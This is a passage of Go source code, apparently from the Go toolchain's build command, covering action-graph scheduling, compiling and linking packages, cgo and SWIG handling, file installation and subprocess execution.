pkgs = append([]*Package{}, pkgs...) pkgs = append(pkgs, p) } } } } // Figure out where the library will go. var libdir string for _, p := range pkgs { plibdir := p.build.PkgTargetRoot if gccgo { plibdir = filepath.Join(plibdir, "shlibs") } if libdir == "" { libdir = plibdir } else if libdir != plibdir { fatalf("multiple roots %s & %s", libdir, plibdir) } } a.target = filepath.Join(libdir, libname) // Now we can check whether we need to rebuild it. stale := false var built time.Time if fi, err := os.Stat(a.target); err == nil { built = fi.ModTime() } for _, p := range pkgs { if p.target == "" { continue } stale = stale || p.Stale lstat, err := os.Stat(p.target) if err != nil || lstat.ModTime().After(built) { stale = true } a.deps = append(a.deps, b.action1(depMode, depMode, p, false, a.target)) } if stale { a.f = (*builder).install buildAction := b.libaction(libname, pkgs, modeBuild, depMode) a.deps = []*action{buildAction} for _, p := range pkgs { if p.target == "" { continue } shlibnameaction := &action{} shlibnameaction.f = (*builder).installShlibname shlibnameaction.target = p.target[:len(p.target)-2] + ".shlibname" a.deps = append(a.deps, shlibnameaction) shlibnameaction.deps = append(shlibnameaction.deps, buildAction) } } } return a } // actionList returns the list of actions in the dag rooted at root // as visited in a depth-first post-order traversal. func actionList(root *action) []*action { seen := map[*action]bool{} all := []*action{} var walk func(*action) walk = func(a *action) { if seen[a] { return } seen[a] = true for _, a1 := range a.deps { walk(a1) } all = append(all, a) } walk(root) return all } // allArchiveActions returns a list of the archive dependencies of root. // This is needed because if package p depends on package q that is in libr.so, the // action graph looks like p->libr.so->q and so just scanning through p's // dependencies does not find the import dir for q. func allArchiveActions(root *action) []*action { seen := map[*action]bool{} r := []*action{} var walk func(*action) walk = func(a *action) { if seen[a] { return } seen[a] = true if strings.HasSuffix(a.target, ".so") || a == root { for _, a1 := range a.deps { walk(a1) } } else if strings.HasSuffix(a.target, ".a") { r = append(r, a) } } walk(root) return r } // do runs the action graph rooted at root. func (b *builder) do(root *action) { // Build list of all actions, assigning depth-first post-order priority. // The original implementation here was a true queue // (using a channel) but it had the effect of getting // distracted by low-level leaf actions to the detriment // of completing higher-level actions. The order of // work does not matter much to overall execution time, // but when running "go test std" it is nice to see each test // results as soon as possible. The priorities assigned // ensure that, all else being equal, the execution prefers // to do what it would have done first in a simple depth-first // dependency order traversal. all := actionList(root) for i, a := range all { a.priority = i } b.readySema = make(chan bool, len(all)) // Initialize per-action execution state. for _, a := range all { for _, a1 := range a.deps { a1.triggers = append(a1.triggers, a) } a.pending = len(a.deps) if a.pending == 0 { b.ready.push(a) b.readySema <- true } } // Handle runs a single action and takes care of triggering // any actions that are runnable as a result. handle := func(a *action) { var err error if a.f != nil && (!a.failed || a.ignoreFail) { err = a.f(b, a) } // The actions run in parallel but all the updates to the // shared work state are serialized through b.exec. b.exec.Lock() defer b.exec.Unlock() if err != nil { if err == errPrintedOutput { setExitStatus(2) } else { errorf("%s", err) } a.failed = true } for _, a0 := range a.triggers { if a.failed { a0.failed = true } if a0.pending--; a0.pending == 0 { b.ready.push(a0) b.readySema <- true } } if a == root { close(b.readySema) } } var wg sync.WaitGroup // Kick off goroutines according to parallelism. // If we are using the -n flag (just printing commands) // drop the parallelism to 1, both to make the output // deterministic and because there is no real work anyway. par := buildP if buildN { par = 1 } for i := 0; i < par; i++ { wg.Add(1) go func() { defer wg.Done() for { select { case _, ok := <-b.readySema: if !ok { return } // Receiving a value from b.readySema entitles // us to take from the ready queue. b.exec.Lock() a := b.ready.pop() b.exec.Unlock() handle(a) case <-interrupted: setExitStatus(1) return } } }() } wg.Wait() } // build is the action for building a single package or command. func (b *builder) build(a *action) (err error) { // Return an error for binary-only package. // We only reach this if isStale believes the binary form is // either not present or not usable. if a.p.BinaryOnly { return fmt.Errorf("missing or invalid package binary for binary-only package %s", a.p.ImportPath) } // Return an error if the package has CXX files but it's not using // cgo nor SWIG, since the CXX files can only be processed by cgo // and SWIG. if len(a.p.CXXFiles) > 0 && !a.p.usesCgo() && !a.p.usesSwig() { return fmt.Errorf("can't build package %s because it contains C++ files (%s) but it's not using cgo nor SWIG", a.p.ImportPath, strings.Join(a.p.CXXFiles, ",")) } // Same as above for Objective-C files if len(a.p.MFiles) > 0 && !a.p.usesCgo() && !a.p.usesSwig() { return fmt.Errorf("can't build package %s because it contains Objective-C files (%s) but it's not using cgo nor SWIG", a.p.ImportPath, strings.Join(a.p.MFiles, ",")) } // Same as above for Fortran files if len(a.p.FFiles) > 0 && !a.p.usesCgo() && !a.p.usesSwig() { return fmt.Errorf("can't build package %s because it contains Fortran files (%s) but it's not using cgo nor SWIG", a.p.ImportPath, strings.Join(a.p.FFiles, ",")) } defer func() { if err != nil && err != errPrintedOutput { err = fmt.Errorf("go build %s: %v", a.p.ImportPath, err) } }() if buildN { // In -n mode, print a banner between packages. // The banner is five lines so that when changes to // different sections of the bootstrap script have to // be merged, the banners give patch something // to use to find its context. b.print("\n#\n# " + a.p.ImportPath + "\n#\n\n") } if buildV { b.print(a.p.ImportPath + "\n") } // Make build directory. obj := a.objdir if err := b.mkdir(obj); err != nil { return err } // make target directory dir, _ := filepath.Split(a.target) if dir != "" { if err := b.mkdir(dir); err != nil { return err } } var gofiles, cgofiles, cfiles, sfiles, cxxfiles, objects, cgoObjects, pcCFLAGS, pcLDFLAGS []string gofiles = append(gofiles, a.p.GoFiles...) cgofiles = append(cgofiles, a.p.CgoFiles...) cfiles = append(cfiles, a.p.CFiles...) sfiles = append(sfiles, a.p.SFiles...) cxxfiles = append(cxxfiles, a.p.CXXFiles...) if a.p.usesCgo() || a.p.usesSwig() { if pcCFLAGS, pcLDFLAGS, err = b.getPkgConfigFlags(a.p); err != nil { return } } // Run SWIG on each .swig and .swigcxx file. // Each run will generate two files, a .go file and a .c or .cxx file. // The .go file will use import "C" and is to be processed by cgo. if a.p.usesSwig() { outGo, outC, outCXX, err := b.swig(a.p, obj, pcCFLAGS) if err != nil { return err } cgofiles = append(cgofiles, outGo...) cfiles = append(cfiles, outC...) cxxfiles = append(cxxfiles, outCXX...) } // Run cgo. if a.p.usesCgo() || a.p.usesSwig() { // In a package using cgo, cgo compiles the C, C++ and assembly files with gcc. // There is one exception: runtime/cgo's job is to bridge the // cgo and non-cgo worlds, so it necessarily has files in both. // In that case gcc only gets the gcc_* files. var gccfiles []string gccfiles = append(gccfiles, cfiles...) cfiles = nil if a.p.Standard && a.p.ImportPath == "runtime/cgo" { filter := func(files, nongcc, gcc []string) ([]string, []string) { for _, f := range files { if strings.HasPrefix(f, "gcc_") { gcc = append(gcc, f) } else { nongcc = append(nongcc, f) } } return nongcc, gcc } sfiles, gccfiles = filter(sfiles, sfiles[:0], gccfiles) } else { gccfiles = append(gccfiles, sfiles...) sfiles = nil } cgoExe := tool("cgo") if a.cgo != nil && a.cgo.target != "" { cgoExe = a.cgo.target } outGo, outObj, err := b.cgo(a.p, cgoExe, obj, pcCFLAGS, pcLDFLAGS, cgofiles, gccfiles, cxxfiles, a.p.MFiles, a.p.FFiles) if err != nil { return err } if _, ok := buildToolchain.(gccgoToolchain); ok { cgoObjects = append(cgoObjects, filepath.Join(a.objdir, "_cgo_flags")) } cgoObjects = append(cgoObjects, outObj...) gofiles = append(gofiles, outGo...) } if len(gofiles) == 0 { return &build.NoGoError{Dir: a.p.Dir} } // If we're doing coverage, preprocess the .go files and put them in the work directory if a.p.coverMode != "" { for i, file := range gofiles { var sourceFile string var coverFile string var key string if strings.HasSuffix(file, ".cgo1.go") { // cgo files have absolute paths base := filepath.Base(file) sourceFile = file coverFile = filepath.Join(obj, base) key = strings.TrimSuffix(base, ".cgo1.go") + ".go" } else { sourceFile = filepath.Join(a.p.Dir, file) coverFile = filepath.Join(obj, file) key = file } cover := a.p.coverVars[key] if cover == nil || isTestFile(file) { // Not covering this file. continue } if err := b.cover(a, coverFile, sourceFile, 0666, cover.Var); err != nil { return err } gofiles[i] = coverFile } } // Prepare Go import path list. inc := b.includeArgs("-I", allArchiveActions(a)) // Compile Go. ofile, out, err := buildToolchain.gc(b, a.p, a.objpkg, obj, len(sfiles) > 0, inc, gofiles) if len(out) > 0 { b.showOutput(a.p.Dir, a.p.ImportPath, b.processOutput(out)) if err != nil { return errPrintedOutput } } if err != nil { return err } if ofile != a.objpkg { objects = append(objects, ofile) } // Copy .h files named for goos or goarch or goos_goarch // to names using GOOS and GOARCH. // For example, defs_linux_amd64.h becomes defs_GOOS_GOARCH.h. _goos_goarch := "_" + goos + "_" + goarch _goos := "_" + goos _goarch := "_" + goarch for _, file := range a.p.HFiles { name, ext := fileExtSplit(file) switch { case strings.HasSuffix(name, _goos_goarch): targ := file[:len(name)-len(_goos_goarch)] + "_GOOS_GOARCH." + ext if err := b.copyFile(a, obj+targ, filepath.Join(a.p.Dir, file), 0666, true); err != nil { return err } case strings.HasSuffix(name, _goarch): targ := file[:len(name)-len(_goarch)] + "_GOARCH." + ext if err := b.copyFile(a, obj+targ, filepath.Join(a.p.Dir, file), 0666, true); err != nil { return err } case strings.HasSuffix(name, _goos): targ := file[:len(name)-len(_goos)] + "_GOOS." + ext if err := b.copyFile(a, obj+targ, filepath.Join(a.p.Dir, file), 0666, true); err != nil { return err } } } for _, file := range cfiles { out := file[:len(file)-len(".c")] + ".o" if err := buildToolchain.cc(b, a.p, obj, obj+out, file); err != nil { return err } objects = append(objects, out) } // Assemble .s files. for _, file := range sfiles { out := file[:len(file)-len(".s")] + ".o" if err := buildToolchain.asm(b, a.p, obj, obj+out, file); err != nil { return err } objects = append(objects, out) } // NOTE(rsc): On Windows, it is critically important that the // gcc-compiled objects (cgoObjects) be listed after the ordinary // objects in the archive. I do not know why this is. // https://golang.org/issue/2601 objects = append(objects, cgoObjects...) // Add system object files. for _, syso := range a.p.SysoFiles { objects = append(objects, filepath.Join(a.p.Dir, syso)) } // Pack into archive in obj directory. // If the Go compiler wrote an archive, we only need to add the // object files for non-Go sources to the archive. // If the Go compiler wrote an archive and the package is entirely // Go sources, there is no pack to execute at all. if len(objects) > 0 { if err := buildToolchain.pack(b, a.p, obj, a.objpkg, objects); err != nil { return err } } // Link if needed. if a.link { // The compiler only cares about direct imports, but the // linker needs the whole dependency tree. all := actionList(a) all = all[:len(all)-1] // drop a if err := buildToolchain.ld(b, a, a.target, all, a.objpkg, objects); err != nil { return err } } return nil } // Calls pkg-config if needed and returns the cflags/ldflags needed to build the package. func (b *builder) getPkgConfigFlags(p *Package) (cflags, ldflags []string, err error) { if pkgs := p.CgoPkgConfig; len(pkgs) > 0 { var out []byte out, err = b.runOut(p.Dir, p.ImportPath, nil, "pkg-config", "--cflags", pkgs) if err != nil { b.showOutput(p.Dir, "pkg-config --cflags "+strings.Join(pkgs, " "), string(out)) b.print(err.Error() + "\n") err = errPrintedOutput return } if len(out) > 0 { cflags = strings.Fields(string(out)) } out, err = b.runOut(p.Dir, p.ImportPath, nil, "pkg-config", "--libs", pkgs) if err != nil { b.showOutput(p.Dir, "pkg-config --libs "+strings.Join(pkgs, " "), string(out)) b.print(err.Error() + "\n") err = errPrintedOutput return } if len(out) > 0 { ldflags = strings.Fields(string(out)) } } return } func (b *builder) installShlibname(a *action) error { a1 := a.deps[0] err := ioutil.WriteFile(a.target, []byte(filepath.Base(a1.target)+"\n"), 0666) if err != nil { return err } if buildX { b.showcmd("", "echo '%s' > %s # internal", filepath.Base(a1.target), a.target) } return nil } func (b *builder) linkShared(a *action) (err error) { allactions := actionList(a) allactions = allactions[:len(allactions)-1] return buildToolchain.ldShared(b, a.deps, a.target, allactions) } // install is the action for installing a single package or executable. func (b *builder) install(a *action) (err error) { defer func() { if err != nil && err != errPrintedOutput { err = fmt.Errorf("go install %s: %v", a.p.ImportPath, err) } }() a1 := a.deps[0] perm := os.FileMode(0666) if a1.link { switch buildBuildmode { case "c-archive", "c-shared": default: perm = 0777 } } // make target directory dir, _ := filepath.Split(a.target) if dir != "" { if err := b.mkdir(dir); err != nil { return err } } // remove object dir to keep the amount of // garbage down in a large build. On an operating system // with aggressive buffering, cleaning incrementally like // this keeps the intermediate objects from hitting the disk. if !buildWork { defer os.RemoveAll(a1.objdir) defer os.Remove(a1.target) } return b.moveOrCopyFile(a, a.target, a1.target, perm, false) } // includeArgs returns the -I or -L directory list for access // to the results of the list of actions. func (b *builder) includeArgs(flag string, all []*action) []string { inc := []string{} incMap := map[string]bool{ b.work: true, // handled later gorootPkg: true, "": true, // ignore empty strings } // Look in the temporary space for results of test-specific actions. // This is the $WORK/my/package/_test directory for the // package being built, so there are few of these. for _, a1 := range all { if a1.p == nil { continue } if dir := a1.pkgdir; dir != a1.p.build.PkgRoot && !incMap[dir] { incMap[dir] = true inc = append(inc, flag, dir) } } // Also look in $WORK for any non-test packages that have // been built but not installed. inc = append(inc, flag, b.work) // Finally, look in the installed package directories for each action. // First add the package dirs corresponding to GOPATH entries // in the original GOPATH order. need := map[string]*build.Package{} for _, a1 := range all { if a1.p != nil && a1.pkgdir == a1.p.build.PkgRoot { need[a1.p.build.Root] = a1.p.build } } for _, root := range gopath { if p := need[root]; p != nil && !incMap[p.PkgRoot] { incMap[p.PkgRoot] = true inc = append(inc, flag, p.PkgTargetRoot) } } // Then add anything that's left. for _, a1 := range all { if a1.p == nil { continue } if dir := a1.pkgdir; dir == a1.p.build.PkgRoot && !incMap[dir] { incMap[dir] = true inc = append(inc, flag, a1.p.build.PkgTargetRoot) } } return inc } // moveOrCopyFile is like 'mv src dst' or 'cp src dst'. func (b *builder) moveOrCopyFile(a *action, dst, src string, perm os.FileMode, force bool) error { if buildN { b.showcmd("", "mv %s %s", src, dst) return nil } // If we can update the mode and rename to the dst, do it. // Otherwise fall back to standard copy. // The perm argument is meant to be adjusted according to umask, // but we don't know what the umask is. // Create a dummy file to find out. // This avoids build tags and works even on systems like Plan 9 // where the file mask computation incorporates other information. mode := perm f, err := os.OpenFile(filepath.Clean(dst)+"-go-tmp-umask", os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm) if err == nil { fi, err := f.Stat() if err == nil { mode = fi.Mode() & 0777 } name := f.Name() f.Close() os.Remove(name) } if err := os.Chmod(src, mode); err == nil { if err := os.Rename(src, dst); err == nil { if buildX { b.showcmd("", "mv %s %s", src, dst) } return nil } } return b.copyFile(a, dst, src, perm, force) } // copyFile is like 'cp src dst'. func (b *builder) copyFile(a *action, dst, src string, perm os.FileMode, force bool) error { if buildN || buildX { b.showcmd("", "cp %s %s", src, dst) if buildN { return nil } } sf, err := os.Open(src) if err != nil { return err } defer sf.Close() // Be careful about removing/overwriting dst. // Do not remove/overwrite if dst exists and is a directory // or a non-object file. if fi, err := os.Stat(dst); err == nil { if fi.IsDir() { return fmt.Errorf("build output %q already exists and is a directory", dst) } if !force && fi.Mode().IsRegular() && !isObject(dst) { return fmt.Errorf("build output %q already exists and is not an object file", dst) } } // On Windows, remove lingering ~ file from last attempt. if toolIsWindows { if _, err := os.Stat(dst + "~"); err == nil { os.Remove(dst + "~") } } mayberemovefile(dst) df, err := os.OpenFile(dst, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) if err != nil && toolIsWindows { // Windows does not allow deletion of a binary file // while it is executing. Try to move it out of the way. // If the move fails, which is likely, we'll try again the // next time we do an install of this binary. if err := os.Rename(dst, dst+"~"); err == nil { os.Remove(dst + "~") } df, err = os.OpenFile(dst, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) } if err != nil { return err } _, err = io.Copy(df, sf) df.Close() if err != nil { mayberemovefile(dst) return fmt.Errorf("copying %s to %s: %v", src, dst, err) } return nil } // Install the cgo export header file, if there is one. func (b *builder) installHeader(a *action) error { src := a.objdir + "_cgo_install.h" if _, err := os.Stat(src); os.IsNotExist(err) { // If the file does not exist, there are no exported // functions, and we do not install anything. return nil } dir, _ := filepath.Split(a.target) if dir != "" { if err := b.mkdir(dir); err != nil { return err } } return b.moveOrCopyFile(a, a.target, src, 0666, true) } // cover runs, in effect, // go tool cover -mode=b.coverMode -var="varName" -o dst.go src.go func (b *builder) cover(a *action, dst, src string, perm os.FileMode, varName string) error { return b.run(a.objdir, "cover "+a.p.ImportPath, nil, buildToolExec, tool("cover"), "-mode", a.p.coverMode, "-var", varName, "-o", dst, src) } var objectMagic = [][]byte{ {'!', '<', 'a', 'r', 'c', 'h', '>', '\n'}, // Package archive {'\x7F', 'E', 'L', 'F'}, // ELF {0xFE, 0xED, 0xFA, 0xCE}, // Mach-O big-endian 32-bit {0xFE, 0xED, 0xFA, 0xCF}, // Mach-O big-endian 64-bit {0xCE, 0xFA, 0xED, 0xFE}, // Mach-O little-endian 32-bit {0xCF, 0xFA, 0xED, 0xFE}, // Mach-O little-endian 64-bit {0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00}, // PE (Windows) as generated by 6l/8l and gcc {0x00, 0x00, 0x01, 0xEB}, // Plan 9 i386 {0x00, 0x00, 0x8a, 0x97}, // Plan 9 amd64 {0x00, 0x00, 0x06, 0x47}, // Plan 9 arm } func isObject(s string) bool { f, err := os.Open(s) if err != nil { return false } defer f.Close() buf := make([]byte, 64) io.ReadFull(f, buf) for _, magic := range objectMagic { if bytes.HasPrefix(buf, magic) { return true } } return false } // mayberemovefile removes a file only if it is a regular file // When running as a user with sufficient privileges, we may delete // even device files, for example, which is not intended. func mayberemovefile(s string) { if fi, err := os.Lstat(s); err == nil && !fi.Mode().IsRegular() { return } os.Remove(s) } // fmtcmd formats a command in the manner of fmt.Sprintf but also: // // If dir is non-empty and the script is not in dir right now, // fmtcmd inserts "cd dir\n" before the command. // // fmtcmd replaces the value of b.work with $WORK. // fmtcmd replaces the value of goroot with $GOROOT. // fmtcmd replaces the value of b.gobin with $GOBIN. // // fmtcmd replaces the name of the current directory with dot (.) // but only when it is at the beginning of a space-separated token. // func (b *builder) fmtcmd(dir string, format string, args ...interface{}) string { cmd := fmt.Sprintf(format, args...) if dir != "" && dir != "/" { cmd = strings.Replace(" "+cmd, " "+dir, " .", -1)[1:] if b.scriptDir != dir { b.scriptDir = dir cmd = "cd " + dir + "\n" + cmd } } if b.work != "" { cmd = strings.Replace(cmd, b.work, "$WORK", -1) } return cmd } // showcmd prints the given command to standard output // for the implementation of -n or -x. func (b *builder) showcmd(dir string, format string, args ...interface{}) { b.output.Lock() defer b.output.Unlock() b.print(b.fmtcmd(dir, format, args...) + "\n") } // showOutput prints "# desc" followed by the given output. // The output is expected to contain references to 'dir', usually // the source directory for the package that has failed to build. // showOutput rewrites mentions of dir with a relative path to dir // when the relative path is shorter. This is usually more pleasant. // For example, if fmt doesn't compile and we are in src/html, // the output is // // $ go build // # fmt // ../fmt/print.go:1090: undefined: asdf // $ // // instead of // // $ go build // # fmt // /usr/gopher/go/src/fmt/print.go:1090: undefined: asdf // $ // // showOutput also replaces references to the work directory with $WORK. // func (b *builder) showOutput(dir, desc, out string) { prefix := "# " + desc suffix := "\n" + out if reldir := shortPath(dir); reldir != dir { suffix = strings.Replace(suffix, " "+dir, " "+reldir, -1) suffix = strings.Replace(suffix, "\n"+dir, "\n"+reldir, -1) } suffix = strings.Replace(suffix, " "+b.work, " $WORK", -1) b.output.Lock() defer b.output.Unlock() b.print(prefix, suffix) } // shortPath returns an absolute or relative name for path, whatever is shorter. func shortPath(path string) string { if rel, err := filepath.Rel(cwd, path); err == nil && len(rel) < len(path) { return rel } return path } // relPaths returns a copy of paths with absolute paths // made relative to the current directory if they would be shorter. func relPaths(paths []string) []string { var out []string pwd, _ := os.Getwd() for _, p := range paths { rel, err := filepath.Rel(pwd, p) if err == nil && len(rel) < len(p) { p = rel } out = append(out, p) } return out } // errPrintedOutput is a special error indicating that a command failed // but that it generated output as well, and that output has already // been printed, so there's no point showing 'exit status 1' or whatever // the wait status was. The main executor, builder.do, knows not to // print this error. var errPrintedOutput = errors.New("already printed output - no need to show error") var cgoLine = regexp.MustCompile(`\[[^\[\]]+\.cgo1\.go:[0-9]+\]`) var cgoTypeSigRe = regexp.MustCompile(`\b_Ctype_\B`) // run runs the command given by cmdline in the directory dir. // If the command fails, run prints information about the failure // and returns a non-nil error. func (b *builder) run(dir string, desc string, env []string, cmdargs ...interface{}) error { out, err := b.runOut(dir, desc, env, cmdargs...) if len(out) > 0 { if desc == "" { desc = b.fmtcmd(dir, "%s", strings.Join(stringList(cmdargs...), " ")) } b.showOutput(dir, desc, b.processOutput(out)) if err != nil { err = errPrintedOutput } } return err } // processOutput prepares the output of runOut to be output to the console. func (b *builder) processOutput(out []byte) string { if out[len(out)-1] != '\n' { out = append(out, '\n') } messages := string(out) // Fix up output referring to cgo-generated code to be more readable. // Replace x.go:19[/tmp/.../x.cgo1.go:18] with x.go:19. // Replace *[100]_Ctype_foo with *[100]C.foo. // If we're using -x, assume we're debugging and want the full dump, so disable the rewrite. if !buildX && cgoLine.MatchString(messages) { messages = cgoLine.ReplaceAllString(messages, "") messages = cgoTypeSigRe.ReplaceAllString(messages, "C.") } return messages } // runOut runs the command given by cmdline in the directory dir. // It returns the command output and any errors that occurred. func (b *builder) runOut(dir string, desc string, env []string, cmdargs ...interface{}) ([]byte, error) { cmdline := stringList(cmdargs...) if buildN || buildX { var envcmdline string for i := range env { envcmdline += env[i] envcmdline += " " } envcmdline += joinUnambiguously(cmdline) b.showcmd(dir, "%s", envcmdline) if buildN { return nil, nil } } nbusy := 0 for { var buf bytes.Buffer cmd := exec.Command(cmdline[0], cmdline[1:]...) cmd.Stdout = &buf cmd.Stderr = &buf cmd.Dir = dir cmd.Env = mergeEnvLists(env, envForDir(cmd.Dir, os.Environ())) err := cmd.Run() // cmd.Run will fail on Unix if some other process has the binary // we want to run open for writing. This can happen here because // we build and install the cgo command and then run it. // If another command was kicked off while we were writing the // cgo binary, the child process for that command may be holding // a reference to the fd, keeping us from running exec. // // But, you might reasonably wonder, how can this happen? // The cgo fd, like all our fds, is close-on-exec, so that we need // not worry about other processes inheriting the fd accidentally. // The answer is that running a command is fork and exec. // A child forked while the cgo fd is open inherits that fd. // Until the child has called exec, it holds the fd open and the // kernel will not let us run cgo. Even if the child were to close // the fd explicitly, it would still be open from the time of the fork // until the time of the explicit close, and the race would remain. // // On Unix systems, this results in ETXTBSY, which formats // as "text file busy". Rather than hard-code specific error cases, // we just look for that string. If this happens, sleep a little // and try again. We let this happen three times, with increasing // sleep lengths: 100+200+400 ms = 0.7 seconds. // // An alternate solution might be to split the cmd.Run into // separate cmd.Start and cmd.Wait, and then use an RWLock // to make sure that copyFile only executes when no cmd.Start // call is in progress. However, cmd.Start (really syscall.forkExec) // only guarantees that when it returns, the exec is committed to // happen and succeed. It uses a close-on-exec file descriptor // itself to determine this, so we know that when cmd.Start returns, // at least one close-on-exec file descriptor has been closed. // However, we cannot be sure that all of them have been closed, // so the program might still encounter ETXTBSY even with such // an RWLock. The race window would be smaller, perhaps, but not // guaranteed to be gone. // // Sleeping when we observe the race seems to be the most reliable // option we have. // // https://golang.org/issue/3001 // if err != nil && nbusy < 3 && strings.Contains(err.Error(), "text file busy") { time.Sleep(100 * time.Millisecond << uint(nbusy)) nbusy++ continue } // err can be something like 'exit status 1'. // Add information about what program was running. // Note that if buf.Bytes() is non-empty, the caller usually // shows buf.Bytes() and does not print err at all, so the // prefix here does not make most output any more verbose. if err != nil { err = errors.New(cmdline[0] + ": " + err.Error()) } return buf.Bytes(), err } } // joinUnambiguously prints the slice, quoting where necessary to make the // output unambiguous. // TODO: See issue 5279. The printing of commands needs a complete redo. func joinUnambiguously(a []string) string { var buf bytes.Buffer for i, s := range a { if i > 0 { buf.WriteByte(' ') } q := strconv.Quote(s) if s == "" || strings.Contains(s, " ") || len(q) > len(s)+2 { buf.WriteString(q) } else { buf.WriteString(s) } } return buf.String() } // mkdir makes the named directory. func (b *builder) mkdir(dir string) error { b.exec.Lock() defer b.exec.Unlock() // We can be a little aggressive about being // sure directories exist. Skip repeated calls. if b.mkdirCache[dir] { return nil } b.mkdirCache[dir] = true if buildN || buildX { b.showcmd("", "mkdir -p %s", dir) if buildN { return nil } } if err := os.MkdirAll(dir, 0777); err != nil { return err } return nil } // mkAbs returns an absolute path corresponding to // evaluating f in the directory dir. // We always pass absolute paths of source files so that // the error messages will include the full path to a file // in need of attention. func mkAbs(dir, f string) string { // Leave absolute paths alone. // Also, during -n mode we use the pseudo-directory $WORK // instead of creating an actual work directory that won't be used. // Leave paths beginning with $WORK alone too. if filepath.IsAbs(f) || strings.HasPrefix(f, "$WORK") { return f } return filepath.Join(dir, f) } type toolchain interface { // gc runs the compiler in a specific directory on a set of files // and returns the name of the generated output file. // The compiler runs in the directory dir. gc(b *builder, p *Package, archive, obj string, asmhdr bool, importArgs []string, gofiles []string) (ofile string, out []byte, err error) // cc runs the toolchain's C compiler in a directory on a C file // to produce an output file. cc(b *builder, p *Package, objdir, ofile, cfile string) error // asm runs the assembler in a specific directory on a specific file // to generate the named output file. asm(b *builder, p *Package, obj, ofile, sfile string) error // pkgpath builds an appropriate path for a temporary package file. pkgpath(basedir string, p *Package) string // pack runs the archive packer in a specific directory to create // an archive from a set of object files. // typically it is run in the object directory. pack(b *builder, p *Package, objDir, afile string, ofiles []string) error // ld runs the linker to create an executable starting at mainpkg. ld(b *builder, root *action, out string, allactions []*action, mainpkg string, ofiles []string) error // ldShared runs the linker to create a shared library containing the pkgs built by toplevelactions ldShared(b *builder, toplevelactions []*action, out string, allactions []*action) error compiler() string linker() string } type noToolchain struct{} func noCompiler() error { log.Fatalf("unknown compiler %q", buildContext.Compiler) return nil } func (noToolchain) compiler() string { noCompiler() return "" } func (noToolchain) linker() string { noCompiler() return "" } func (noToolchain) gc(b *builder, p *Package, archive, obj string, asmhdr bool, importArgs []string, gofiles []string) (ofile string, out []byte, err error) { return "", nil, noCompiler() } func (noToolchain) asm(b *builder, p *Package, obj, ofile, sfile string) error { return noCompiler() } func (noToolchain) pkgpath(basedir string, p *Package) string { noCompiler() return "" } func (noToolchain) pack(b *builder, p *Package, objDir, afile string, ofiles []string) error { return noCompiler() } func (noToolchain) ld(b *builder, root *action, out string, allactions []*action, mainpkg string, ofiles []string) error { return noCompiler() } func (noToolchain) ldShared(b *builder, toplevelactions []*action, out string, allactions []*action) error { return noCompiler() } func (noToolchain) cc(b *builder, p *Package, objdir, ofile, cfile string) error { return noCompiler() } // The Go toolchain. type gcToolchain struct{} func (gcToolchain) compiler() string { return tool("compile") } func (gcToolchain) linker() string { return tool("link") } func (gcToolchain) gc(b *builder, p *Package, archive, obj string, asmhdr bool, importArgs []string, gofiles []string) (ofile string, output []byte, err error) { if archive != "" { ofile = archive } else { out := "_go_.o" ofile = obj + out } gcargs := []string{"-p", p.ImportPath} if p.Name == "main" { gcargs[1] = "main" } if p.Standard && (p.ImportPath == "runtime" || strings.HasPrefix(p.ImportPath, "runtime/internal")) { // runtime compiles with a special gc flag to emit // additional reflect type data. gcargs = append(gcargs, "-+") } // If we're giving the compiler the entire package (no C etc files), tell it that, // so that it can give good error messages about forward declarations. // Exceptions: a few standard packages have forward declarations for // pieces supplied behind-the-scenes by package runtime. extFiles := len(p.CgoFiles) + len(p.CFiles) + len(p.CXXFiles) + len(p.MFiles) + len(p.FFiles) + len(p.SFiles) + len(p.SysoFiles) + len(p.SwigFiles) + len(p.SwigCXXFiles) if p.Standard { switch p.ImportPath { case "bytes", "net", "os", "runtime/pprof", "sync", "time": extFiles++ } } if extFiles == 0 { gcargs = append(gcargs, "-complete") } if buildContext.InstallSuffix != "" { gcargs = append(gcargs, "-installsuffix", buildContext.InstallSuffix) } if p.buildID != "" { gcargs = append(gcargs, "-buildid", p.buildID) } for _, path := range p.Imports { if i := strings.LastIndex(path, "/vendor/"); i >= 0 { gcargs = append(gcargs, "-importmap", path[i+len("/vendor/"):]+"="+path) } else if strings.HasPrefix(path, "vendor/") { gcargs = append(gcargs, "-importmap", path[len("vendor/"):]+"="+path) } } args := []interface{}{buildToolExec, tool("compile"), "-o", ofile, "-trimpath", b.work, buildGcflags, gcargs, "-D", p.localPrefix, importArgs} if ofile == archive { args = append(args, "-pack") } if asmhdr { args = append(args, "-asmhdr", obj+"go_asm.h") } for _, f := range gofiles { args = append(args, mkAbs(p.Dir, f)) } output, err = b.runOut(p.Dir, p.ImportPath, nil, args...) return ofile, output, err } func (gcToolchain) asm(b *builder, p *Package, obj, ofile, sfile string) error { // Add -I pkg/GOOS_GOARCH so #include "textflag.h" works in .s files. inc := filepath.Join(goroot, "pkg", "include") sfile = mkAbs(p.Dir, sfile) args := []interface{}{buildToolExec, tool("asm"), "-o", ofile, "-trimpath", b.work, "-I", obj, "-I", inc, "-D", "GOOS_" + goos, "-D", "GOARCH_" + goarch, buildAsmflags, sfile} if err := b.run(p.Dir, p.ImportPath, nil, args...); err != nil { return err } return nil } // toolVerify checks that the command line args writes the same output file // if run using newTool instead. // Unused now but kept around for future use. func toolVerify(b *builder, p *Package, newTool string, ofile string, args []interface{}) error { newArgs := make([]interface{}, len(args)) copy(newArgs, args) newArgs[1] = tool(newTool) newArgs[3] = ofile + ".new" // x.6 becomes x.6.new if err := b.run(p.Dir, p.ImportPath, nil, newArgs...); err != nil { return err } data1, err := ioutil.ReadFile(ofile) if err != nil { return err } data2, err := ioutil.ReadFile(ofile + ".new") if err != nil { return err } if !bytes.Equal(data1, data2) { return fmt.Errorf("%s and %s produced different output files:\n%s\n%s", filepath.Base(args[1].(string)), newTool, strings.Join(stringList(args...), " "), strings.Join(stringList(newArgs...), " ")) } os.Remove(ofile + ".new") return nil } func (gcToolchain) pkgpath(basedir string, p *Package) string { end := filepath.FromSlash(p.ImportPath + ".a") return filepath.Join(basedir, end) } func (gcToolchain) pack(b *builder, p *Package, objDir, afile string, ofiles []string) error { var absOfiles []string for _, f := range ofiles { absOfiles = append(absOfiles, mkAbs(objDir, f)) } absAfile := mkAbs(objDir, afile) // The archive file should have been created by the compiler. // Since it used to not work that way, 